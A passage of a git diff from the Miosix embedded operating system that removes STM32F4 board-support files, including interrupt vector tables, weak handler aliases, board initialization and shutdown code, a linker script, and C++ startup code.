DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index b70c2277a..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F407xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp deleted file mode 100644 index 09568c801..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,142 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - //The display could be damaged if left on but without refreshing it - typedef Gpio dispoff;//DISPOFF signal to display - dispoff::high(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h deleted file mode 100644 index d8fe8dde4..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,89 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * D0 : PC8 - * D1 : PC9 - * D2 : PC10 (conflicts with CS43L22 SCK) - * D3 : PC11 - * CLK : PC12 (conflicts with CS43L22 SDIN) - * CMD : PD2 - * - * The conflicts mean that it's not possible to use both the SD card and - * the audio playback feature on this board. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/stm32_1m+192k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/stm32_1m+192k_rom.ld deleted file mode 100644 index 8c0d05921..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_bitsboard/stm32_1m+192k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 128KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 128KB RAM */ -_end = 0x20000000; -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 128K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/core/stage_1_boot.cpp deleted file mode 100644 index 41405d27b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,380 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f4 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler -}; - -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak 